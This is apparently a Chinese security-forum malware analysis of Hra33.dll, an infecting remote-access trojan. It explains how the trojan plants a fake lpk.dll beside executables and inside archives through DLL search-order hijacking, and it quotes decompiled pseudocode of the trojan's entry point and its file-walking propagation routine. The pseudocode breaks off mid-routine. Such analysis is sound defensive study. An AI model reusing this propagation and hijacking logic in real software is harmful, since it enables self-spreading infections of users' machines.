xp win7的时候 lpk.dll 是很常见的,如果非system32目录下有lpk.dll 那么你就需要好好检查下你的电脑了.之前听薛大神讲过关于LPK.DLL USP.DLL 的相关流程 自己分析后更深刻了.
Hra33.dll 就是利用EXE加载dll的先后顺序的机制 如果EXE运行的当前目录下有LPK.DLL 就直接载入 而不会去系统目录找.
属于这个远控的核心DLL 从0分析一款经典的感染型远控木马
其实从Hra33.dll做的事情比较简单
1.释放一个临时文件hraxx.tmp 运行
2.将有exe的目录下释放一个LPK.DLL文件(只是名字叫lpk.dll 而且具有系统lpk.dll的所有功能)
3.将没有密码的ZIP RAR 利用CMD命令 插入lpk.dll(同上)
先从DLL入口函数开始看:
if (fdwReason == 1)
{
hModule = hinstDLL;
GetModuleFileNameW(hinstDLL, (LPWSTR)&Filename, 260u);
DisableThreadLibraryCalls(hinstDLL);
if (Get_ServerNameA() == 1)
{
if (!Check_tmp() && !CreateMutexAA()) // 判断自身进程是否为临时文件程序 && 判断是否可以创建互斥体
Create_NewTem(); // 创建一个新的临时文件并运行 还是之前的EXE
if (Check_lpk() == 1) // 判断是否为lpk.dll
{
hEvent = CreateEventW(0, 1, 0, 0);
if (hEvent)
Create_Thread1(); // 主要搞事情的函数
}
} // 自身载入真正的lpk.dll 并将导出函数的地址给获取
result = Transpond_lpk_start();
}
else
{
if (!fdwReason)
{
if (hEvent)
{
SetEvent(hEvent);
WaitForSingleObject(hObject, 0xFFFFFFFF);
CloseHandle(hObject);
CloseHandle(hEvent);
}
Freelib(); // 释放资源
}
result = 1;
}
return result;
Create_NewTem() 函数实现细节
Create_Thread1() 实现细节
hObject = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Start_Search, 0, 4u, 0);// 以挂起的状态创建线程
if (!SetThreadPriority(hObject, THREAD_PRIORITY_IDLE) || (result = ResumeThread(hObject), result == -1))// 判断线程是否正常恢复
套了一层.进去看看
OD调试截图
StartAddress()函数实现细节 主要就是遍历文件 符合条件就copy个lpk.dll 继续遍历
if ((unsigned int)lpThreadParameter >= 256) // 文件夹递归的时候走这里
{
lstrcpyW(&String1, (LPCWSTR)lpThreadParameter);
}
else
{
lstrcpyW(&String1, L"A:\\"); // 默认走这里
String1 += (unsigned __int16)lpThreadParameter;
}
lstrcpyW(&String2, &String1);
PathAppendW(&String1, &word_10002374);
hFindFile = FindFirstFileW(&String1, &FindFileData);
if (hFindFile == (HANDLE)-1)
return 1;
lstrcpyW(&String1, &String2);
while (1)
{
if (!lstrcmpiW(FindFileData.cFileName, L".") || !lstrcmpiW(FindFileData.cFileName, L".."))// 文件名为 . |.. 直接下一个
goto LABEL_27;
if (FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)// 比较00010000是否为1 为1就退出循环 判断文件名是否为目录
break;
v2 = PathFindExtensionW(FindFileData.cFileName);// 得到文件后缀 如.exe .txt
lpString2 = v2;
if (v2)
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!